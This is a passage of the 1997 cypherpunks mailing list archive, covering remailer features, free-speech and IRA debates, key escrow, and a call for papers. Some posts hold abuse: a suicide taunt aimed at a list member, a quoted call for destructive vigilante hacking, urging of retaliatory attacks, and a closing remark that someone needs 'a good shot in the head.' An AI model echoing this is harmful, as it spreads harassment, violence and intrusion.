   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 20:05:47 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <19970609002216.62726@bywater.songbird.com>
Message-ID: <mV318D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> >   Dimitri wrote a couple of posts which dealt well with the original
> > concept of two parties agreeing on an arbitrator/judge to settle
> > contractual disputes (e.g. the court of Prince X) and the following
> > usurpment of these free-will agreements by people in power who decree
> > that _they_ are now the only valid arbitrator/judge in contractual
> > matters.
>
> It's pointless to reply to Dimitri -- he filters my posts.  Of course
> I would be delighted to engage in a civilized discourse with him, but
> it's impossible.

Kent is lying again, as usual.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 9 Jun 1997 21:38:42 +0800
To: se7en@dis.org (se7en)
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <199706091259.HAA10924@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



please post more information about the technical side of your war.

thanks

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 21:29:35 +0800
To: cypherpunks@toad.com
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199701081748.RAA00773@server.test.net>
Message-ID: <6V618D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



[thanks for the very informative message - much snipped]

Adam Back <aba@dcs.ex.ac.uk> writes:
> However, here are a few things you might be interested to know.  I
> understand the majority of people in Northern Ireland do not want to
> be part of Southern Ireland.

I don't think this has been put to a vote, but this is probably true.

>                               The people in NI have been there for
> multiple generations, and probably also don't want to be relocated to
> England.

Fine - let them stay, or emigrate to whatever other country will take them.
Maybe South Africa wants to increase its white population (kidding).
Or maybe the U.S. ought to increase it white population.

Why is the rest of the UK obliged to cater to their desires?

What if the majority of the NI population felt that a special L1000 poll tax
should be imposed on the English, with the proceeds disbursed equally among
the NI population?

What if Uganda took a vote and the overwhelming majority decided to
invite the UK back to rule them and to pour capital in?

>           Many of these people are English descent and their ancestors
> where given land by the British government which was stolen from
> native Irish about 300 years ago.  They have also intermarried.

Scottish descent, stricly speaking. Also at the rates the catholics
are breeding, they'll be a minority soon.

There are some protestants in SI, and no one's killing them on sight, AFAIK.
Wasn't Eamon de Valera a sephardic jew or something?

> You should also realise that IRA and supporters are minority in NI
> today, for a sense of perspective.

If you're such a strong believer in the rule of the majority :-), why
should the NI protestants (who are a fraction of the total UK population)
force the entire UK to do something that the rest of the UK doesn't want?

> In the mean time the IRA and the opposing paramilitary organisation
> blow up, assasinate, knee-cap each other, protestants, catholics, joy
> riders, and a few innocent bystanders, and I think both deal in drugs,
> and are involved in organised crime to fund their activities.

Yep.  So does the CIA.  Maybe that's why the IRA isn't calling for
a vote in NI to join SI. :-)

> (I forget name, but there is a non-governmental paramilitary group on
> other side to IRA in NI, occasionally there is rumor that British Army
> is feeding this paramilitary organisation names of IRA suspects to
> hit, to save them the trouble).

Is that the guys that Hallam Baker said he had asked to kill me? :-)

> they're saying after a while :-).  Not sure of Welsh and Irish names
> for English.  US name is `Limey'.

The English navy used by be plagued by the scurvy (vitamin C deficiency)
during the 18th and early 19th century. Then some bright guy came up with
the idea of storing lots of limes on the ships and forcing the seamen to
suck on them. It did cure the scurvy, but earned them the nickname.

ObTrivia: the official Russian name for lime is "LAJM".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 10 Jun 1997 00:49:36 +0800
To: declan@well.com
Subject: Re: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <Pine.GSO.3.96.970609092439.17747A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Declan McCullagh wrote:

> 
> Actually, Bell's plan was simply the ultimate adolescent revenge fantasy. 
> Government thugs got your goat (or your computers, your car, your guns?)
> Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
> you off on the way to work? Kill them off. 

This is the best description of AP so far.  Jim had about as much chance
of implementing it as most adolescent fantasies.  (At least he was not
posting about porn fantasies involving the Brady Bunch meets Gilligan's
Island or somesuch...)

The general consensus of those who met him at the first Portland physical
meeting was that he was pretty far into fantasy.  (There is a certain
childish glee that tends to accompany such thoughts.  He had that glee
when talking about AP and the carbon fiber threat. (Although he did not
give actual methods on the carbon thread one.  Just vague comments about
"something wonderful".))

> When I pointed out to Bell that his plan if implemented would allow you to
> knock off not just government thugs but annoying neighbors, his response
> was that assassins might opt only to eradicate the Feds -- hardly a
> reassuring thought.

You were not the only one to point that out to him.  He was so attached to
his little plan that he was totally unwilling to see any flaw in it.  I
pointed out that people with the amount of cash and scruples of Bill
Gatesw would use it to wipe out compeating companies staff and/or
management.  (Though, if they were smart, they would just take out the
lead engineer on the most threatening projects.)

The big problem I had with AP, other than implementation and concept, was
that he was unwilling to do his own dirty work.  He reminded me of people
who eat meat, but could not concieve of killing Bambi.  You don't go into
a scheme like that and still think that you won't get blood on your
hands.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 23:02:11 +0800
To: cypherpunks@toad.com
Subject: CFP: 1998 Symposium on Network and Distributed System Security
Message-ID: <v03020920afc1b8f454de@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 6 Jun 1997 15:05:43 -0700
From: bishop@cs.ucdavis.edu (Matt Bishop)
To: ipsec@ans.net
Subject: CFP: 1998 Symposium on Network and Distributed System Security
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

CALL FOR PAPERS

The Internet Society Symposium on Network and Distributed System Security

Where: San Diego, California
When: March 1998

GOAL: The symposium will foster information exchange between hardware and
software developers of network and distributed system security services.
The intended audience is those who are interested in the practical aspects
of network and distributed system security, focusing on actual system
design and implementation, rather than theory.  Encouraging and enabling
the Internet community to apply, deploy, and advance the state of available
security technology is the major focus of symposium.  Symposium proceedings
will be published by the Internet Society.  Topics for the symposium
include, but are not limited to, the following:

* Architectures for large-scale, heterogeneous distributed systems
* Security in malleable systems: mobile code, mobile agents, dynamic policy
  updates, etc.
* Special problems: e.g. interplay between security goals and other goals --
  efficiency, reliability, interoperability, resource sharing, and cost.
* Integrating security services with system and application security
  facilities and with application protocols, including message handling,
  file transport, remote file access,  directories, time synchronization,
  data base management, routing, voice and video multicast, network
  management, boot services, and mobile computing.
* Fundamental services:  authentication, integrity, confidentiality,
  authorization, non-repudiation, and availability.
* Supporting mechanisms and APIs: key management and certification
  infrastructures, audit, and intrusion detection.
* Telecommunications security, especially for emerging technologies -- very
  large systems like the Internet, high-speed systems like the gigabit
  testbeds, wireless systems, and personal communication systems.
* Controls: firewalls, packet filters, application gateways
* Object security and security objects
* Network information resources and tools such as World Wide Web (WWW),
  Gopher, Archie, and WAIS.
* Electronic commerce:  payment services, fee-for-access, EDI, notary;
  endorsement, licensing, bonding, and other forms of assurance; intellectual
  property protections

GENERAL CHAIR:
	David Balenson, Trusted Information Systems
PROGRAM CHAIRS:
	Matt Bishop, University of California at Davis
	Steve Kent, BBN
PROGRAM COMMITTEE:
	Steve Bellovin, AT&T Labs -- Research
	Doug Engert, Argonne National Laboratories
	Warwick Ford, VeriSign
	Li Gong, JavaSoft
	Rich Graveman, Bellcore
	Ari Juels, RSA Laboratories
	Tom Longstaff, CERT/CC
	Doug Maughan, National Security Agency
	Dan Nessett, 3Com Corporation
	Rich Parker, NATO
	Michael Roe, Cambridge University
	Rob Rosenthal, DARPA
	Wolfgang Schneider, GMD Darmstadt
	Christoph Schuba, Purdue University
	Win Treese, Open Market, Inc.
	Jonathan Trostle, Novell
	Gene Tsudik, USC/Information Sciences Institute
	Steve Welke, Institute for Defense Analyses
LOCAL ARRANGEMENTS CHAIR:
	Thomas Hutton, San Diego Supercomputer Center
PUBLICATIONS CHAIR:
	Steve Welke, Institute for Defense Analyses
LOGISTICS CHAIR:
	Torryn Brazell, Internet Society

SUBMISSIONS: The committee invites technical papers and panel
proposals, for topics of technical and general interest.  Technical
papers should be 10-20 pages in length.  Panel proposals should be two
pages and should describe the topic, identify the panel chair, explain
the format of the panel, and list three to four potential panelists.
Technical papers will appear in the proceedings.  A description of each
panel will appear in the proceedings, and may at the discretion of the
panel chair, include written position statements from each panelist.

Each submission must contain a separate title page with the type of
submission (paper or panel), the title or topic, the names of the
author(s), organizational affiliation(s), telephone and FAX numbers,
postal addresses, Internet electronic mail addresses, and must list a
single point of contact if more than one author.  The names of authors,
affiliations, and other identifying information should appear only on
the separate title page.

Submissions must be received by 1 August 1997, and should be made via
electronic mail in either PostScript or ASCII format.  If the committee
is unable to print a PostScript submission, it will be returned and
hardcopy requested.  Therefore, PostScript submissions should arrive
well before 1 August.  If electronic submission is difficult,
submissions should be sent via postal mail.

All submissions and program related correspondence (only) should be
directed to the program chair:  Matt Bishop, Department of Computer
Science, University of California at Davis, Davis CA  95616-8562,
Email: sndss98-submissions@cs.ucdavis.edu. Phone: +1 (916) 752-8060,
FAX: +1 (916) 752-4767,

Dates, final call for papers, advance program, and registration
information will be available at the URL:
http://www.isoc.org/conferences/ndss98.

Each submission will be acknowledged by e-mail.  If acknowledgment is
not received within seven days, please contact the program chair as in-
dicated above.  Authors and panelists will be notified of acceptance by
1 October 1997.  Instructions for preparing camera-ready copy for the
proceedings will be sent at that time.  The camera-ready copy must be
received by 1 November 1997.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 00:55:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102804afc0fc8e1db0@[207.167.93.63]>
Message-ID: <v03102805afc1e20c0880@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:57 PM -0700 6/8/97, William H. Geiger III wrote:

>So what you are saying that if I call up Widgits, Inc. and order product
>"X" that they advertizes does "Y". They instead send me product "X" that
>does "Z" not "Y" then I should have no recource? I should atleast be able
>to get my money back as they have not sold me the product that they
>claimed to be selling (clear violation of the "contract" between buyer and
>seller).

Contracts in a free society are a complicated issue. I suggest reading some
of the usual literature on the subject, including Benson's "The Enterprise
of Law," Friedman's "The Machinery of Freedom, "Reason" magazine, etc.

In your hypo above, even you are talking about after the fact redress, or
contract arbitration. This is quite different from the increasing
regulation of commercial speech in blanket forms (such as no liquor
advertising within X yards of schools, no cigarette advertising without
extensive mandated warnings, limitations on claims for medical products,
etc.)

In the hypo of ordering a product, an implicit contract is made. Phone
orders are for the convenience of consumers like ourselves; corporations
usually place "purchase orders," and these P.O.s almost always contain
performance requirements.

End consumers who are not happy buying from "PCs-R-Us" because they ordered
a 200 MHz Pentium and instead received a 66 MHz 486 machine have plenty of
recourses. They can almost certainly get their money back from the vendor
(without their being laws on speech), they can call their credit card
company and cancel the sale, they can take the matter to court or
arbitration (not on free speech grounds, of course), and so on.

Ultimately,  "PCs-R-Us" would last for a short time in a competitive
environment, and savvy buyers would avoid them. One of the best protections
against the kind of hypothetical fraud William Geiger hypothesizes is
_reputation_.

Claiming that Big Brother needs to have laws limiting the speech of
"commercial" speakers is not the right way to go.

(And it wasn't even common until this century, especially the last 20 years.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Mon, 9 Jun 1997 22:42:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970609095437.007d12e0@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Adam,

To answer a few questions...

<snip>

>(I forget name, but there is a non-governmental paramilitary group on
>other side to IRA in NI, occasionally there is rumor that British Army

The Loyalists tend to be either UFF (Ulster Freedom Fighters) or UVF
(Ulster Volunteer Force) plus there will be various other groups too.

>is feeding this paramilitary organisation names of IRA suspects to
>hit, to save them the trouble).

<snip>

>Some Scottish people want home rule (Scottish Independence Party?),

Scottish Nationalist Party (SNP)

>ps Paddy is generic name for an Irishman, a haggis is a stuffed part
>of sheeps anatomy, a peculiar highland delicacy, nick name for
>Scotsman, leek is a vegetable, some kind of Welsh emblem, and used as

Haggis is a stuffed sheeps stomach (I always thought that 'Jock' was the
English nickname for Scots?)

>name for Welshman.  Scots call English Sasenachs (I lived in Scotland
>for a couple of years, you get so you can understand what it is
>they're saying after a while :-)

Likewise. I've only been here 3 months and still can't understand the local
yokel accent.

--
A Scotsman living and working south of the border.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu@sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 9 Jun 1997 22:30:57 +0800
To: mpd@netcom.com
Subject: Re: Steak Knife Decryption
Message-ID: <199706091409.HAA15948@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



> Subject:       Re: Steak Knife Decryption
> To:            mpd@netcom.com (Mike Duvos)
> Date:          Sat, 7 Jun 1997 00:44:15 -0500 (CDT)
> Cc:            cypherpunks@cyberpass.net
> From:          ichudov@algebra.com (Igor Chudov @ home)
> Organization:  Bool Sheet Software
> Reply-to:      ichudov@algebra.com (Igor Chudov @ home)

> Mike Duvos wrote:
> > 

> I am not quite clear if rational people can get something out of
> torturing other rational people. Maybe, I am confused and wrong
> somewhere.
> 	- Igor.

Torture is a means of producing an irrational state in people's
minds (at least temporarily), thus causing them to do things they
would not rationally do (sign a prepared confession, reveal a secret, 
etc) If torture could not do this, it would not be used; verbal
persuasion over tea and crumpets is *so* much more pleasant.

Even people who might be able to face a more or less painless 
death with equanimity (in the pursuit of some greater cause) 
may break down as the bamboo splints are pushed under their 
fingernails.

'Rational torture victim' is an oxymoron.

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 10 Jun 1997 02:32:21 +0800
To: cypherpunks@cyberpass.net
Subject: Question about anonymizing proxies
Message-ID: <199706091758.KAA31403@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry if this has been beaten to death before (if it has, a pointer to
where it is in the archives would be appreciated), but is it possible to
chain anonymizing proxy servers in a way similar to remailers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 10 Jun 1997 00:16:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <199706091609.LAA03231@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Se7en writes:

[The Story of his Mental Breakdown]

I do believe we've found a date for Debbie Mahoney. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 9 Jun 1997 23:43:00 +0800
To: jamesd@echeque.com
Subject: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <199706081801.LAA28966@proxy4.ba.best.com>
Message-ID: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Actually, Bell's plan was simply the ultimate adolescent revenge fantasy. 
Government thugs got your goat (or your computers, your car, your guns?)
Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
you off on the way to work? Kill them off. 

When I pointed out to Bell that his plan if implemented would allow you to
knock off not just government thugs but annoying neighbors, his response
was that assassins might opt only to eradicate the Feds -- hardly a
reassuring thought.

-Declan


On Sat, 7 Jun 1997 jamesd@echeque.com wrote:

> At 12:42 PM 6/4/97 -0400, Hallam-Baker wrote:
> > Bell's Murder Politics scheme was a censorship scheme.
> 
> Surely people would be more inclined to kill politicians 
> for what they do, rather than what they say.
>  ---------------------------------------------------------------------
>               				|  
> We have the right to defend ourselves	|   http://www.jim.com/jamesd/
> and our property, because of the kind	|  
> of animals that we are. True law	|   James A. Donald
> derives from this right, not from the	|  
> arbitrary power of the state.		|   jamesd@echeque.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 9 Jun 1997 23:36:47 +0800
To: cypherpunks@Algebra.COM
Subject: MS Access 97 deprotection?
Message-ID: <199706091524.LAA01532@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



     An acquaintence of mine who runs a small consulting 
business here in Massachusetts called last night.

     He seems to be suffering from one of the classic 
aftereffects of a having 'disgruntled, 
about-to-be-ex-employee'; one of the database files on 
which his business relies has been encrypted within 
Microsoft Access 97, and he needs to recover the data.

A quick look around at the obvious sites shows no generic
de-protector, as there are for MS Word and many other systems.
Anyone have any clue how he might get his data back? (I've
already told him to consider the lawyer-based route).

Send me mail - I'll pass it on to him.

thanks,

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 03:12:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <v03102807afc2016e6825@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:11 PM -0700 6/8/97, Kent Crispin wrote:

>
>But the fundamental principle that says "redress is available for speech
>that causes harm" seems fairly clean.  That cuts across advertising,
>salespersons lies, libel/slander, yelling "fire" in a theater -- a
>whole gamut of free speech issues.  Spam falls under such a rule, as
>well.  Of course, the issue of prior restraint is orthogonal to this
>rule...

This "fundamental principle" is not nearly as clean or as fundamental as
you represent.

Much speech indisputably "causes harm." Some harm is economic, some harm is
pyschogical, some harm is even physical.

Much of this speech remains protected, even in these times where the
Constitution has suffered decay. For example, one of the tests for libel
and slander, to name an example where "harm" is usually claimed, is
"knowingly false."

And in commercial areas, much "harm" is done by businesses to other
businesses, and yet this is (properly) protected. When a business
advertises its lower prices, or cites endorsements from luminaries, this is
"speech." If another business is "harmed" by this speech, is there
"redress"?

No. And there should not be. Harm is a name for various adverse
developments. Many if not most of them are closely linked to speech issues.
Legislating harm away is not consistent with a free and open society.

The example of "falsely shouting "Fire!" in a crowded theater" (I inserted
the word "falsely" as this is often left out by folks, and is of course
central to the point) is well-trod ground. The SC Justice who used this
later said he wished he'd never used the expression, as it was used by all
manner of people seeking to limit speech.

Spam is a name for "unwanted communications." The proper solution is
technological/ontological, e.g., metering. It is a defect of our current
e-mail model that one can deliver a million pieces of e-mail for no cost.
This will be fixed, and is a solution vastly preferable to having a
government agency decide which communications are permissable and which are
not.

(Many of these issues are mooted by crypto anarchy, of course.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 10 Jun 1997 03:41:54 +0800
To: cypherpunks@toad.com
Subject: With friends like these...
Message-ID: <199706091928.MAA01854@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




I just read www.crypto.com/key_study.  I was not impressed.  In fact,
one thing worries me a lot.  I think the report basicly sells us out.

The authors, Hal Abelson [1], Ross Anderson [2], Steven M. Bellovin
[3], Josh Benaloh [4], Matt Blaze [5], Whitfield Diffie [6], John
Censor Gilmore [7], Peter G. Neumann [8], Ronald L. Rivest [9],
Jeffrey I. Schiller [10], Bruce Schneier [11],
include many "respected" "experts".  Some of them, like Blaze and Diffie
and Schneier, are people who act like they're on our side.  But... Benaloh
works for microsoft and Rivest for Bidzos.  Two from AT&T.  One from
HP.  One from Sun.  The influence of big money was clear.  They want
what's good for the big companies.

The report endorses pro-code/safe, which effectively criminalizes the
use of crypto and would outlaw remailers.  It's true that they say key
recovery is a bad idea (not that it's unacceptable, however,
just a bad idea, not nearly as strong as it could be).  The reason they give
is that they think it may be too expensive for corporate America.
What they don't say is Far more interesting:

They don't say that key escrow is unacceptable, period.

They don't mention the big brother problem.

They don't talk about the long history of
government abuse (FBI, CIA, NSA, etc).

The conveniently leave out ALL the libertarian issues about how key escrow making the government bigger and more powerful.

They just seem to care about what it costs.  And
these are our friends?

Now lets look at who benefits from this point of view. Criminalize
crypto, outlaw remailers, no expensive key escrow.  It SOUNDS good, at
least a small gain, but this gives them a real tool AGAINST us.  They
can come after crypto users for the first time.  Who benefits? BIG
companies.  NOT CYPHERPUNK GOALS.

By not mentioning it, I think these guys have sold out.  They
may not realize it themselves, but the effect is just as bad (maybe worse).

CDT which brought us the CALEA and the CDA, funded the study. They no
doubt were able to influence the content to get rid of the
"unacceptable" stuff.

We should be asking who our friends are here.  I think if these guys
really wanted to be effective, they could take more of a real stand, with some
real risks. Have ANY of these guys ever written code to promote strong
crypto? Schneier wrote a book, but, charges for his services. I don't
think they have been "bought" or are working for the other side, I just
think we should be realistic about who the "experts" are really
working for - their own pockets and their big employers.

KEY ESCROW IS UNACCEPTABLE, PERIOD.  No matter what the cost.  No
matter how safe.  No matter what.

I think we should respectfully ask them to clarify where they
stand.  Mr experts,

<hal@mit.edu>
<ross.anderson@cl.cam.ac.uk>
<smb@research.att.com>
<benaloh@microsoft.com>
<mab@research.att.com>
<diffie@eng.sun.com>
<gnu@toad.com>
<neumann@sri.com>
<rivest@lcs.mit.edu>
<jis@mit.edu>
<schneier@counterpane.com>

Do you stand for the criminalization of crypto? Is there anything
wrong with key escrow other than the cost? Why is your report so weak?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 10 Jun 1997 03:28:47 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <199706090007.CAA10876@basement.replay.com>
Message-ID: <Pine.A41.3.95.970609131623.103284B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> `A pen is mightier than a sword', not to mention Timmy C. 
> May's pea-sized penis. He would be better served by a 
> safety razor, possibly applied in a bathtub filled with 
> warm water (something he has surely never been into).
> 
>       o
>   /\O/        O Timmy C. May
>  0  \\    | 0-#
>     //    |  / \
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 10 Jun 1997 04:37:46 +0800
To: cypherpunks@toad.com
Subject: Re: My War
In-Reply-To: <Pine.LNX.3.91.970609152448.2461B-100000@fatmans.demon.co.uk>
Message-ID: <339C4E1F.11DF@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > I started logging the channels. I wanted to silently gather IP addresses
> > and email addresses. These people needed some genuine hacker terror.
> > Among some of the more active and persistent traders were:
> 
> se7en believes in attacking other peoples equipment and censoring those
> who say things he does not like. Foo.
> 
> > Well, this whole situation is unacceptable.
> 
> In what sense?
> 
> > First, I would like to apologize to all those who have hired me in
> > the past, and were subject to my emotional rants about how the
> > whole subject was bullshit and not real.
> 
> Is this really relevant?
> 
> > It is very real. It is disgustingly real. It is so real it will make you
> > want to throw up, and I actually, physically did throw up last night.
> 
> Good, I hope your censorous ass chokes next time.
> 
> > Second, in reference to previous conversation over the years on this list,
> > and in the hacking community in general, I know this type of activity is
> > not tolerated by us.
> 
> Do not include me in either the falsely moral "hacker community", which
> does not even exist anymore in the same way it did years ago, or make
> assumptions that I believe certain forms of speech are more valuable than
> others.
> 
> > Yes, I am advocating malicious, destructive hacking activity against
> > these people. Who are they going to run to? The police? "They hacked my
> > kiddie porn server and rm -rf'd my computer!" Right...the police will be
> > so anxious to lock us up left and right.
> 
> Anyone who attacks others peoples computer equipment in this manner
> commits a crime, whether they can respond or not is immaterial, it is a
> matter of morality and respecting other peoples right to free spech and
> their property rights.
> 
> > These people need to be eradicated from the Internet. While that may
> > never happen completely, enough harrassment will send a message that
> > engaging in this type of activity in very dangerous, and can result in
> > serious harrassment, public embarrassment and computer destruction.
> 
> An aspiring member of the cabal crawls out of the woodwork <sigh>...
> 
> > This is my war. It will be a public war. I don't care what happens to me
> > by their community or by law enforcement. I feel secure enough that no
> > jury in the world will convict me for taking these people out.
> 
> "Members of the jury, we only killed him because he was black, surely you
> realise all blacks are scum, don`t you?"
> 
> > I don't expect people to join me here on this. If you do, you have enough
> > information to start. I caution you to log what is going on, and to make
> > sure you are hitting the guilty, so no innocent people get annihilated in
> > the process. Make damn sure you know who you are hitting and why, and be
> > able to back it up with the idea of having to justify your actions in
> > front of a jury.
> 
> I would encourage anyone who wants to to take retaliatory action against
> se7en or any of his supporters to do so, attacks on freedom of speech and
> attempts at censorship like this cannot be allowed to go unchallenged.
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"

Sounds like someone's afraid that se7en might trash his kiddie porn
stock.  How on the HELL do you categorize child pornography as "Freedom
of speech"?  How???  It is disgusting and only extremely sick
individuals take a part in it.  If you're defending it, then excuse me
for rushing to judge, but you are a sick, disgusting ass-fuck that needs
a good shot in the head.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
